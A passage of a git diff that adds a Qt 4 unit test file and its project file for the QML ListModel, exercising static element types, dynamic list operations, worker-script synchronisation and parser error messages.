+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativelistmodel.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp
new file mode 100644
index 00000000..3c410020
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp
@@ -0,0 +1,1141 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtDeclarative/private/qdeclarativeitem_p.h>
+#include <QtDeclarative/private/qdeclarativetext_p.h>
+#include <QtDeclarative/private/qdeclarativeengine_p.h>
+#include <QtDeclarative/private/qdeclarativelistmodel_p.h>
+#include <QtDeclarative/private/qdeclarativeexpression_p.h>
+#include <QDeclarativeComponent>
+
+#include <QtCore/qtimer.h>
+#include <QtCore/qdebug.h>
+#include <QtCore/qtranslator.h>
+#include <QSignalSpy>
+
+#include "../../../shared/util.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+Q_DECLARE_METATYPE(QList<int>)
+Q_DECLARE_METATYPE(QList<QVariantHash>)
+
+class tst_qdeclarativelistmodel : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativelistmodel() {}
+
+private:
+ int roleFromName(const QDeclarativeListModel *model, const QString &roleName);
+ QScriptValue nestedListValue(QScriptEngine *eng) const;
+ QDeclarativeItem *createWorkerTest(QDeclarativeEngine *eng, QDeclarativeComponent *component, QDeclarativeListModel *model);
+ void waitForWorker(QDeclarativeItem *item);
+
+private slots:
+ void static_types();
+ void static_types_data();
+ void static_i18n();
+ void static_nestedElements();
+ void static_nestedElements_data();
+ void dynamic_data();
+ void dynamic();
+ void dynamic_worker_data();
+ void dynamic_worker();
+ void dynamic_worker_sync_data();
+ void dynamic_worker_sync();
+ void convertNestedToFlat_fail();
+ void convertNestedToFlat_fail_data();
+ void convertNestedToFlat_ok();
+ void convertNestedToFlat_ok_data();
+ void enumerate();
+ void error_data();
+ void error();
+ void syncError();
+ void set();
+ void get();
+ void get_data();
+ void get_worker();
+ void get_worker_data();
+ void get_nested();
+ void get_nested_data();
+ void crash_model_with_multiple_roles();
+ void set_model_cache();
+ void property_changes();
+ void property_changes_data();
+ void property_changes_worker();
+ void property_changes_worker_data();
+ void clear();
+};
+int tst_qdeclarativelistmodel::roleFromName(const QDeclarativeListModel *model, const QString &roleName)
+{
+ QList<int> roles = model->roles();
+ for (int i=0; i<roles.count(); i++) {
+ if (model->toString(roles[i]) == roleName)
+ return roles[i];
+ }
+ return -1;
+}
+
+QScriptValue tst_qdeclarativelistmodel::nestedListValue(QScriptEngine *eng) const
+{
+ QScriptValue list = eng->newArray();
+ list.setProperty(0, eng->newObject());
+ list.setProperty(1, eng->newObject());
+ QScriptValue sv = eng->newObject();
+ sv.setProperty("foo", list);
+ return sv;
+}
+
+QDeclarativeItem *tst_qdeclarativelistmodel::createWorkerTest(QDeclarativeEngine *eng, QDeclarativeComponent *component, QDeclarativeListModel *model)
+{
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component->create());
+ QDeclarativeEngine::setContextForObject(model, eng->rootContext());
+ if (item)
+ item->setProperty("model", qVariantFromValue(model));
+ return item;
+}
+
+void tst_qdeclarativelistmodel::waitForWorker(QDeclarativeItem *item)
+{
+ QEventLoop loop;
+ QTimer timer;
+ timer.setSingleShot(true);
+ connect(&timer, SIGNAL(timeout()), &loop, SLOT(quit()));
+
+ QDeclarativeProperty prop(item, "done");
+ QVERIFY(prop.isValid());
+ QVERIFY(prop.connectNotifySignal(&loop, SLOT(quit())));
+ timer.start(10000);
+ loop.exec();
+ QVERIFY(timer.isActive());
+}
+
+void tst_qdeclarativelistmodel::static_i18n()
+{
+ QString expect = QString::fromUtf8("na\303\257ve");
+
+ QString componentStr = "import QtQuick 1.0\nListModel { ListElement { prop1: \""+expect+"\"; prop2: QT_TR_NOOP(\""+expect+"\") } }";
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toUtf8(), QUrl::fromLocalFile(""));
+ QDeclarativeListModel *obj = qobject_cast<QDeclarativeListModel*>(component.create());
+ QVERIFY(obj != 0);
+ QString prop1 = obj->get(0).property(QLatin1String("prop1")).toString();
+ QCOMPARE(prop1,expect);
+ QString prop2 = obj->get(0).property(QLatin1String("prop2")).toString();
+ QCOMPARE(prop2,expect); // (no, not translated, QT_TR_NOOP is a no-op)
+ delete obj;
+}
+
+void tst_qdeclarativelistmodel::static_nestedElements()
+{
+ QFETCH(int, elementCount);
+
+ QStringList elements;
+ for (int i=0; i<elementCount; i++)
+ elements.append("ListElement { a: 1; b: 2 }");
+ QString elementsStr = elements.join(",\n") + "\n";
+
+ QString componentStr =
+ "import QtQuick 1.0\n"
+ "ListModel {\n"
+ " ListElement {\n"
+ " attributes: [\n";
+ componentStr += elementsStr.toUtf8().constData();
+ componentStr +=
+ " ]\n"
+ " }\n"
+ "}";
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toUtf8(), QUrl::fromLocalFile(""));
+
+ QDeclarativeListModel *obj = qobject_cast<QDeclarativeListModel*>(component.create());
+ QVERIFY(obj != 0);
+
+ QScriptValue prop = obj->get(0).property(QLatin1String("attributes")).property(QLatin1String("count"));
+ QVERIFY(prop.isNumber());
+ QCOMPARE(prop.toInt32(), qint32(elementCount));
+
+ delete obj;
+}
+
+void tst_qdeclarativelistmodel::static_nestedElements_data()
+{
+ QTest::addColumn<int>("elementCount");
+
+ QTest::newRow("0 items") << 0;
+ QTest::newRow("1 item") << 1;
+ QTest::newRow("2 items") << 2;
+ QTest::newRow("many items") << 5;
+}
+
+void tst_qdeclarativelistmodel::dynamic_data()
+{
+ QTest::addColumn<QString>("script");
+ QTest::addColumn<int>("result");
+ QTest::addColumn<QString>("warning");
+
+ // Simple flat model
+
+ QTest::newRow("count") << "count" << 0 << "";
+
+ QTest::newRow("get1") << "{get(0) === undefined}" << 1 << "";
+ QTest::newRow("get2") << "{get(-1) === undefined}" << 1 << "";
+ QTest::newRow("get3") << "{append({'foo':123});get(0) != undefined}" << 1 << "";
+ QTest::newRow("get4") << "{append({'foo':123});get(0).foo}" << 123 << "";
+
+ QTest::newRow("get-modify1") << "{append({'foo':123,'bar':456});get(0).foo = 333;get(0).foo}" << 333 << "";
+ QTest::newRow("get-modify2") << "{append({'z':1});append({'foo':123,'bar':456});get(1).bar = 999;get(1).bar}" << 999 << "";
+
+ QTest::newRow("append1") << "{append({'foo':123});count}" << 1 << "";
+ QTest::newRow("append2") << "{append({'foo':123,'bar':456});count}" << 1 << "";
+ QTest::newRow("append3a") << "{append({'foo':123});append({'foo':456});get(0).foo}" << 123 << "";
+ QTest::newRow("append3b") << "{append({'foo':123});append({'foo':456});get(1).foo}" << 456 << "";
+ QTest::newRow("append4a") << "{append(123)}" << 0 << "<Unknown File>: QML ListModel: append: value is not an object";
+ QTest::newRow("append4b") << "{append([1,2,3])}" << 0 << "<Unknown File>: QML ListModel: append: value is not an object";
+
+ QTest::newRow("clear1") << "{append({'foo':456});clear();count}" << 0 << "";
+ QTest::newRow("clear2") << "{append({'foo':123});append({'foo':456});clear();count}" << 0 << "";
+ QTest::newRow("clear3") << "{append({'foo':123});clear()}" << 0 << "";
+
+ QTest::newRow("remove1") << "{append({'foo':123});remove(0);count}" << 0 << "";
+ QTest::newRow("remove2a") << "{append({'foo':123});append({'foo':456});remove(0);count}" << 1 << "";
+ QTest::newRow("remove2b") << "{append({'foo':123});append({'foo':456});remove(0);get(0).foo}" << 456 << "";
+ QTest::newRow("remove2c") << "{append({'foo':123});append({'foo':456});remove(1);get(0).foo}" << 123 << "";
+ QTest::newRow("remove3") << "{append({'foo':123});remove(0)}" << 0 << "";
+ QTest::newRow("remove3a") << "{append({'foo':123});remove(-1);count}" << 1 << "<Unknown File>: QML ListModel: remove: index -1 out of range";
+ QTest::newRow("remove4a") << "{remove(0)}" << 0 << "<Unknown File>: QML ListModel: remove: index 0 out of range";
+ QTest::newRow("remove4b") << "{append({'foo':123});remove(0);remove(0);count}" << 0 << "<Unknown File>: QML ListModel: remove: index 0 out of range";
+ QTest::newRow("remove4c") << "{append({'foo':123});remove(1);count}" << 1 << "<Unknown File>: QML ListModel: remove: index 1 out of range";
+
+ QTest::newRow("insert1") << "{insert(0,{'foo':123});count}" << 1 << "";
+ QTest::newRow("insert2") << "{insert(1,{'foo':123});count}" << 0 << "<Unknown File>: QML ListModel: insert: index 1 out of range";
+ QTest::newRow("insert3a") << "{append({'foo':123});insert(1,{'foo':456});count}" << 2 << "";
+ QTest::newRow("insert3b") << "{append({'foo':123});insert(1,{'foo':456});get(0).foo}" << 123 << "";
+ QTest::newRow("insert3c") << "{append({'foo':123});insert(1,{'foo':456});get(1).foo}" << 456 << "";
+ QTest::newRow("insert3d") << "{append({'foo':123});insert(0,{'foo':456});get(0).foo}" << 456 << "";
+ QTest::newRow("insert3e") << "{append({'foo':123});insert(0,{'foo':456});get(1).foo}" << 123 << "";
+ QTest::newRow("insert4") << "{append({'foo':123});insert(-1,{'foo':456});count}" << 1 << "<Unknown File>: QML ListModel: insert: index -1 out of range";
+ QTest::newRow("insert5a") << "{insert(0,123)}" << 0 << "<Unknown File>: QML ListModel: insert: value is not an object";
+ QTest::newRow("insert5b") << "{insert(0,[1,2,3])}" << 0 << "<Unknown File>: QML ListModel: insert: value is not an object";
+
+ QTest::newRow("set1") << "{append({'foo':123});set(0,{'foo':456});count}" << 1 << "";
+ QTest::newRow("set2") << "{append({'foo':123});set(0,{'foo':456});get(0).foo}" << 456 << "";
+ QTest::newRow("set3a") << "{append({'foo':123,'bar':456});set(0,{'foo':999});get(0).foo}" << 999 << "";
+ QTest::newRow("set3b") << "{append({'foo':123,'bar':456});set(0,{'foo':999});get(0).bar}" << 456 << "";
+ QTest::newRow("set4a") << "{set(0,{'foo':456});count}" << 1 << "";
+ QTest::newRow("set4c") << "{set(-1,{'foo':456})}" << 0 << "<Unknown File>: QML ListModel: set: index -1 out of range";
+ QTest::newRow("set5a") << "{append({'foo':123,'bar':456});set(0,123);count}" << 1 << "<Unknown File>: QML ListModel: set: value is not an object";
+ QTest::newRow("set5b") << "{append({'foo':123,'bar':456});set(0,[1,2,3]);count}" << 1 << "<Unknown File>: QML ListModel: set: value is not an object";
+ QTest::newRow("set6") << "{append({'foo':123});set(1,{'foo':456});count}" << 2 << "";
+
+ QTest::newRow("setprop1") << "{append({'foo':123});setProperty(0,'foo',456);count}" << 1 << "";
+ QTest::newRow("setprop2") << "{append({'foo':123});setProperty(0,'foo',456);get(0).foo}" << 456 << "";
+ QTest::newRow("setprop3a") << "{append({'foo':123,'bar':456});setProperty(0,'foo',999);get(0).foo}" << 999 << "";
+ QTest::newRow("setprop3b") << "{append({'foo':123,'bar':456});setProperty(0,'foo',999);get(0).bar}" << 456 << "";
+ QTest::newRow("setprop4a") << "{setProperty(0,'foo',456)}" << 0 << "<Unknown File>: QML ListModel: set: index 0 out of range";
+ QTest::newRow("setprop4b") << "{setProperty(-1,'foo',456)}" << 0 << "<Unknown File>: QML ListModel: set: index -1 out of range";
+ QTest::newRow("setprop4c") << "{append({'foo':123,'bar':456});setProperty(1,'foo',456);count}" << 1 << "<Unknown File>: QML ListModel: set: index 1 out of range";
+ QTest::newRow("setprop5") << "{append({'foo':123,'bar':456});append({'foo':111});setProperty(1,'bar',222);get(1).bar}" << 222 << "";
+
+ QTest::newRow("move1a") << "{append({'foo':123});append({'foo':456});move(0,1,1);count}" << 2 << "";
+ QTest::newRow("move1b") << "{append({'foo':123});append({'foo':456});move(0,1,1);get(0).foo}" << 456 << "";
+ QTest::newRow("move1c") << "{append({'foo':123});append({'foo':456});move(0,1,1);get(1).foo}" << 123 << "";
+ QTest::newRow("move1d") << "{append({'foo':123});append({'foo':456});move(1,0,1);get(0).foo}" << 456 << "";
+ QTest::newRow("move1e") << "{append({'foo':123});append({'foo':456});move(1,0,1);get(1).foo}" << 123 << "";
+ QTest::newRow("move2a") << "{append({'foo':123});append({'foo':456});append({'foo':789});move(0,1,2);count}" << 3 << "";
+ QTest::newRow("move2b") << "{append({'foo':123});append({'foo':456});append({'foo':789});move(0,1,2);get(0).foo}" << 789 << "";
+ QTest::newRow("move2c") << "{append({'foo':123});append({'foo':456});append({'foo':789});move(0,1,2);get(1).foo}" << 123 << "";
+ QTest::newRow("move2d") << "{append({'foo':123});append({'foo':456});append({'foo':789});move(0,1,2);get(2).foo}" << 456 << "";
+ QTest::newRow("move3a") << "{append({'foo':123});append({'foo':456});append({'foo':789});move(1,0,3);count}" << 3 << "<Unknown File>: QML ListModel: move: out of range";
+ QTest::newRow("move3b") << "{append({'foo':123});append({'foo':456});append({'foo':789});move(1,-1,1);count}" << 3 << "<Unknown File>: QML ListModel: move: out of range";
+ QTest::newRow("move3c") << "{append({'foo':123});append({'foo':456});append({'foo':789});move(1,0,-1);count}" << 3 << "<Unknown File>: QML ListModel: move: out of range";
+ QTest::newRow("move3d") << "{append({'foo':123});append({'foo':456});append({'foo':789});move(0,3,1);count}" << 3 << "<Unknown File>: QML ListModel: move: out of range";
+
+ // Nested models
+
+ QTest::newRow("nested-append1") << "{append({'foo':123,'bars':[{'a':1},{'a':2},{'a':3}]});count}" << 1 << "";
+ QTest::newRow("nested-append2") << "{append({'foo':123,'bars':[{'a':1},{'a':2},{'a':3}]});get(0).bars.get(1).a}" << 2 << "";
+ QTest::newRow("nested-append3") << "{append({'foo':123,'bars':[{'a':1},{'a':2},{'a':3}]});get(0).bars.append({'a':4});get(0).bars.get(3).a}" << 4 << "";
+
+ QTest::newRow("nested-insert") << "{append({'foo':123});insert(0,{'bars':[{'a':1},{'b':2},{'c':3}]});get(0).bars.get(0).a}" << 1 << "";
+ QTest::newRow("nested-set") << "{append({'foo':[{'x':1}]});set(0,{'foo':[{'x':123}]});get(0).foo.get(0).x}" << 123 << "";
+
+ QTest::newRow("nested-count") << "{append({'foo':123,'bars':[{'a':1},{'a':2},{'a':3}]}); get(0).bars.count}" << 3 << "";
+ QTest::newRow("nested-clear") << "{append({'foo':123,'bars':[{'a':1},{'a':2},{'a':3}]}); get(0).bars.clear(); get(0).bars.count}" << 0 << "";
+}
+
+void tst_qdeclarativelistmodel::dynamic()
+{
+ QFETCH(QString, script);
+ QFETCH(int, result);
+ QFETCH(QString, warning);
+
+ QDeclarativeEngine engine;
+ QDeclarativeListModel model;
+ QDeclarativeEngine::setContextForObject(&model,engine.rootContext());
+ engine.rootContext()->setContextObject(&model);
+ QDeclarativeExpression e(engine.rootContext(), &model, script);
+ if (!warning.isEmpty())
+ QTest::ignoreMessage(QtWarningMsg, warning.toLatin1());
+
+ QSignalSpy spyCount(&model, SIGNAL(countChanged()));
+
+ int actual = e.evaluate().toInt();
+ if (e.hasError())
+ qDebug() << e.error(); // errors not expected
+
+ QCOMPARE(actual,result);
+
+ if (model.count() > 0)
+ QVERIFY(spyCount.count() > 0);
+}
+
+void tst_qdeclarativelistmodel::dynamic_worker_data()
+{
+ dynamic_data();
+}
+
+void tst_qdeclarativelistmodel::dynamic_worker()
+{
+ QFETCH(QString, script);
+ QFETCH(int, result);
+ QFETCH(QString, warning);
+
+ if (QByteArray(QTest::currentDataTag()).startsWith("nested"))
+ return;
+
+ // This is same as dynamic() except it applies the test to a ListModel called
+ // from a WorkerScript (i.e. testing the internal FlatListModel that is created
+ // by the WorkerListModelAgent)
+
+ QDeclarativeListModel model;
+ QDeclarativeEngine eng;
+ QDeclarativeComponent component(&eng, QUrl::fromLocalFile(SRCDIR "/data/model.qml"));
+ QDeclarativeItem *item = createWorkerTest(&eng, &component, &model);
+ QVERIFY(item != 0);
+
+ QSignalSpy spyCount(&model, SIGNAL(countChanged()));
+
+ if (script[0] == QLatin1Char('{') && script[script.length()-1] == QLatin1Char('}'))
+ script = script.mid(1, script.length() - 2);
+ QVariantList operations;
+ foreach (const QString &s, script.split(';')) {
+ if (!s.isEmpty())
+ operations << s;
+ }
+
+ if (!warning.isEmpty())
+ QTest::ignoreMessage(QtWarningMsg, warning.toLatin1());
+
+ QVERIFY(QMetaObject::invokeMethod(item, "evalExpressionViaWorker",
+ Q_ARG(QVariant, operations)));
+ waitForWorker(item);
+ QCOMPARE(QDeclarativeProperty(item, "result").read().toInt(), result);
+
+ if (model.count() > 0)
+ QVERIFY(spyCount.count() > 0);
+
+ delete item;
+ qApp->processEvents();
+}
+
+
+
+void tst_qdeclarativelistmodel::dynamic_worker_sync_data()
+{
+ dynamic_data();
+}
+
+void tst_qdeclarativelistmodel::dynamic_worker_sync()
+{
+ QFETCH(QString, script);
+ QFETCH(int, result);
+ QFETCH(QString, warning);
+
+ // This is the same as dynamic_worker() except that it executes a set of list operations
+ // from the worker script, calls sync(), and tests the changes are reflected in the
+ // list in the main thread
+
+ QDeclarativeListModel model;
+ QDeclarativeEngine eng;
+ QDeclarativeComponent component(&eng, QUrl::fromLocalFile(SRCDIR "/data/model.qml"));
+ QDeclarativeItem *item = createWorkerTest(&eng, &component, &model);
+ QVERIFY(item != 0);
+
+ if (script[0] == QLatin1Char('{') && script[script.length()-1] == QLatin1Char('}'))
+ script = script.mid(1, script.length() - 2);
+ QVariantList operations;
+ foreach (const QString &s, script.split(';')) {
+ if (!s.isEmpty())
+ operations << s;
+ }
+
+ if (!warning.isEmpty())
+ QTest::ignoreMessage(QtWarningMsg, warning.toLatin1());
+
+ // execute a set of commands on the worker list model, then check the
+ // changes are reflected in the list model in the main thread
+ if (QByteArray(QTest::currentDataTag()).startsWith("nested"))
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: QML ListModel: Cannot add list-type data when modifying or after modification from a worker script");
+
+ if (QByteArray(QTest::currentDataTag()).startsWith("nested-set"))
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: QML ListModel: Cannot add list-type data when modifying or after modification from a worker script");
+
+ QVERIFY(QMetaObject::invokeMethod(item, "evalExpressionViaWorker",
+ Q_ARG(QVariant, operations.mid(0, operations.length()-1))));
+ waitForWorker(item);
+
+ QDeclarativeExpression e(eng.rootContext(), &model, operations.last().toString());
+ if (!QByteArray(QTest::currentDataTag()).startsWith("nested"))
+ QCOMPARE(e.evaluate().toInt(), result);
+
+ delete item;
+ qApp->processEvents();
+}
+
+void tst_qdeclarativelistmodel::convertNestedToFlat_fail()
+{
+ // If a model has nested data, it cannot be used at all from a worker script
+
+ QFETCH(QString, script);
+
+ QDeclarativeListModel model;
+ QDeclarativeEngine eng;
+ QDeclarativeComponent component(&eng, QUrl::fromLocalFile(SRCDIR "/data/model.qml"));
+ QDeclarativeItem *item = createWorkerTest(&eng, &component, &model);
+ QVERIFY(item != 0);
+
+ QScriptEngine s_eng;
+ QScriptValue plainData = s_eng.newObject();
+ plainData.setProperty("foo", QScriptValue(123));
+ model.append(plainData);
+ model.append(nestedListValue(&s_eng));
+ QCOMPARE(model.count(), 2);
+
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: QML ListModel: List contains list-type data and cannot be used from a worker script");
+ QVERIFY(QMetaObject::invokeMethod(item, "evalExpressionViaWorker", Q_ARG(QVariant, script)));
+ waitForWorker(item);
+
+ QCOMPARE(model.count(), 2);
+
+ delete item;
+ qApp->processEvents();
+}
+
+void tst_qdeclarativelistmodel::convertNestedToFlat_fail_data()
+{
+ QTest::addColumn<QString>("script");
+
+ QTest::newRow("clear") << "clear()";
+ QTest::newRow("remove") << "remove(0)";
+ QTest::newRow("append") << "append({'x':1})";
+ QTest::newRow("insert") << "insert(0, {'x':1})";
+ QTest::newRow("set") << "set(0, {'foo':1})";
+ QTest::newRow("setProperty") << "setProperty(0, 'foo', 1})";
+ QTest::newRow("move") << "move(0, 1, 1})";
+ QTest::newRow("get") << "get(0)";
+}
+
+void tst_qdeclarativelistmodel::convertNestedToFlat_ok()
+{
+ // If a model only has plain data, it can be modified from a worker script. However,
+ // once the model is used from a worker script, it no longer accepts nested data
+
+ QFETCH(QString, script);
+
+ QDeclarativeListModel model;
+ QDeclarativeEngine eng;
+ QDeclarativeComponent component(&eng, QUrl::fromLocalFile(SRCDIR "/data/model.qml"));
+ QDeclarativeItem *item = createWorkerTest(&eng, &component, &model);
+ QVERIFY(item != 0);
+
+ QScriptEngine s_eng;
+ QScriptValue plainData = s_eng.newObject();
+ plainData.setProperty("foo", QScriptValue(123));
+ model.append(plainData);
+ QCOMPARE(model.count(), 1);
+
+ QVERIFY(QMetaObject::invokeMethod(item, "evalExpressionViaWorker", Q_ARG(QVariant, script)));
+ waitForWorker(item);
+
+ // can still add plain data
+ int count = model.count();
+ model.append(plainData);
+ QCOMPARE(model.count(), count+1);
+
+ QScriptValue nested = nestedListValue(&s_eng);
+ const char *warning = "<Unknown File>: QML ListModel: Cannot add list-type data when modifying or after modification from a worker script";
+
+ QTest::ignoreMessage(QtWarningMsg, warning);
+ model.append(nested);
+
+ QTest::ignoreMessage(QtWarningMsg, warning);
+ model.insert(0, nested);
+
+ QTest::ignoreMessage(QtWarningMsg, warning);
+ model.set(0, nested);
+
+ QCOMPARE(model.count(), count+1);
+
+ delete item;
+ qApp->processEvents();
+}
+
+void tst_qdeclarativelistmodel::convertNestedToFlat_ok_data()
+{
+ convertNestedToFlat_fail_data();
+}
+
+void tst_qdeclarativelistmodel::static_types_data()
+{
+ QTest::addColumn<QString>("qml");
+ QTest::addColumn<QVariant>("value");
+
+ QTest::newRow("string")
+ << "ListElement { foo: \"bar\" }"
+ << QVariant(QString("bar"));
+
+ QTest::newRow("real")
+ << "ListElement { foo: 10.5 }"
+ << QVariant(10.5);
+
+ QTest::newRow("real0")
+ << "ListElement { foo: 0 }"
+ << QVariant(double(0));
+
+ QTest::newRow("bool")
+ << "ListElement { foo: false }"
+ << QVariant(false);
+
+ QTest::newRow("bool")
+ << "ListElement { foo: true }"
+ << QVariant(true);
+
+ QTest::newRow("enum")
+ << "ListElement { foo: Text.AlignHCenter }"
+ << QVariant(double(QDeclarativeText::AlignHCenter));
+}
+
+void tst_qdeclarativelistmodel::static_types()
+{
+ QFETCH(QString, qml);
+ QFETCH(QVariant, value);
+
+ qml = "import QtQuick 1.0\nListModel { " + qml + " }";
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine);
+ component.setData(qml.toUtf8(),
+ QUrl::fromLocalFile(QString("dummy.qml")));
+
+ if (value.toString().startsWith("QTBUG-"))
+ QEXPECT_FAIL("",value.toString().toLatin1(),Abort);
+
+ QVERIFY(!component.isError());
+
+ QDeclarativeListModel *obj = qobject_cast<QDeclarativeListModel*>(component.create());
+ QVERIFY(obj != 0);
+
+ QScriptValue actual = obj->get(0).property(QLatin1String("foo"));
+
+ QCOMPARE(actual.isString(), value.type() == QVariant::String);
+ QCOMPARE(actual.isBoolean(), value.type() == QVariant::Bool);
+ QCOMPARE(actual.isNumber(), value.type() == QVariant::Double);
+
+ QCOMPARE(actual.toString(), value.toString());
+
+ delete obj;
+}
+
+void tst_qdeclarativelistmodel::enumerate()
+{
+ QDeclarativeEngine eng;
+ QDeclarativeComponent component(&eng, QUrl::fromLocalFile(SRCDIR "/data/enumerate.qml"));
+ QVERIFY(!component.isError());
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item != 0);
+ QStringList r = item->property("result").toString().split(":");
+ QCOMPARE(r[0],QLatin1String("val1=1Y"));
+ QCOMPARE(r[1],QLatin1String("val2=2Y"));
+ QCOMPARE(r[2],QLatin1String("val3=strY"));
+ QCOMPARE(r[3],QLatin1String("val4=falseN"));
+ QCOMPARE(r[4],QLatin1String("val5=trueY"));
+ delete item;
+}
+
+
+void tst_qdeclarativelistmodel::error_data()
+{
+ QTest::addColumn<QString>("qml");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("id not allowed in ListElement")
+ << "import QtQuick 1.0\nListModel { ListElement { id: fred } }"
+ << "ListElement: cannot use reserved \"id\" property";
+
+ QTest::newRow("id allowed in ListModel")
+ << "import QtQuick 1.0\nListModel { id:model }"
+ << "";
+
+ QTest::newRow("random properties not allowed in ListModel")
+ << "import QtQuick 1.0\nListModel { foo:123 }"
+ << "ListModel: undefined property 'foo'";
+
+ QTest::newRow("random properties allowed in ListElement")
+ << "import QtQuick 1.0\nListModel { ListElement { foo:123 } }"
+ << "";
+
+ QTest::newRow("bindings not allowed in ListElement")
+ << "import QtQuick 1.0\nRectangle { id: rect; ListModel { ListElement { foo: rect.color } } }"
+ << "ListElement: cannot use script for property value";
+
+ QTest::newRow("random object list properties allowed in ListElement")
+ << "import QtQuick 1.0\nListModel { ListElement { foo: [ ListElement { bar: 123 } ] } }"
+ << "";
+
+ QTest::newRow("default properties not allowed in ListElement")
+ << "import QtQuick 1.0\nListModel { ListElement { Item { } } }"
+ << "ListElement: cannot contain nested elements";
+
+ QTest::newRow("QML elements not allowed in ListElement")
+ << "import QtQuick 1.0\nListModel { ListElement { a: Item { } } }"
+ << "ListElement: cannot contain nested elements";
+
+ QTest::newRow("qualified ListElement supported")
+ << "import QtQuick 1.0 as Foo\nFoo.ListModel { Foo.ListElement { a: 123 } }"
+ << "";
+
+ QTest::newRow("qualified ListElement required")
+ << "import QtQuick 1.0 as Foo\nFoo.ListModel { ListElement { a: 123 } }"
+ << "ListElement is not a type";
+
+ QTest::newRow("unknown qualified ListElement not allowed")
+ << "import QtQuick 1.0\nListModel { Foo.ListElement { a: 123 } }"
+ << "Foo.ListElement - Foo is not a namespace";
+}
+
+void tst_qdeclarativelistmodel::error()
+{
+ QFETCH(QString, qml);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine);
+ component.setData(qml.toUtf8(),
+ QUrl::fromLocalFile(QString("dummy.qml")));
+ if (error.isEmpty()) {
+ QVERIFY(!component.isError());
+ } else {
+ QVERIFY(component.isError());
+ QList<QDeclarativeError> errors = component.errors();
+ QCOMPARE(errors.count(),1);
+ QCOMPARE(errors.at(0).description(),error);
+ }
+}
+
+void tst_qdeclarativelistmodel::syncError()
+{
+ QString qml = "import QtQuick 1.0\nListModel { id: lm; Component.onCompleted: lm.sync() }";
+ QString error = "file:dummy.qml:2:1: QML ListModel: List sync() can only be called from a WorkerScript";
+
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine);
+ component.setData(qml.toUtf8(),
+ QUrl::fromLocalFile(QString("dummy.qml")));
+ QTest::ignoreMessage(QtWarningMsg,error.toUtf8());
+ QObject *obj = component.create();
+ QVERIFY(obj);
+ delete obj;
+}
+
+/*
+ Test model changes from set() are available to the view
+*/
+void tst_qdeclarativelistmodel::set()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeListModel model;
+ QDeclarativeEngine::setContextForObject(&model,engine.rootContext());
+ engine.rootContext()->setContextObject(&model);
+ QScriptEngine *seng = QDeclarativeEnginePrivate::getScriptEngine(&engine);
+
+ QScriptValue sv = seng->newObject();
+ sv.setProperty("test", QScriptValue(false));
+ model.append(sv);
+
+ sv.setProperty("test", QScriptValue(true));
+ model.set(0, sv);
+ QCOMPARE(model.get(0).property("test").toBool(), true); // triggers creation of model cache
+ QCOMPARE(model.data(0, model.roles()[0]), qVariantFromValue(true));
+
+ sv.setProperty("test", QScriptValue(false));
+ model.set(0, sv);
+ QCOMPARE(model.get(0).property("test").toBool(), false); // tests model cache is updated
+ QCOMPARE(model.data(0, model.roles()[0]), qVariantFromValue(false));
+}
+
+/*
+ Test model changes on values returned by get() are available to the view
+*/
+void tst_qdeclarativelistmodel::get()
+{
+ QFETCH(QString, expression);
+ QFETCH(int, index);
+ QFETCH(QString, roleName);
+ QFETCH(QVariant, roleValue);
+
+ QDeclarativeEngine eng;
+ QDeclarativeComponent component(&eng);
+ component.setData(
+ "import QtQuick 1.0\n"
+ "ListModel { \n"
+ "ListElement { roleA: 100 }\n"
+ "ListElement { roleA: 200; roleB: 400 } \n"
+ "ListElement { roleA: 200; roleB: 400 } \n"
+ "}", QUrl());
+ QDeclarativeListModel *model = qobject_cast<QDeclarativeListModel*>(component.create());
+ int role = roleFromName(model, roleName);
+ QVERIFY(role >= 0);
+
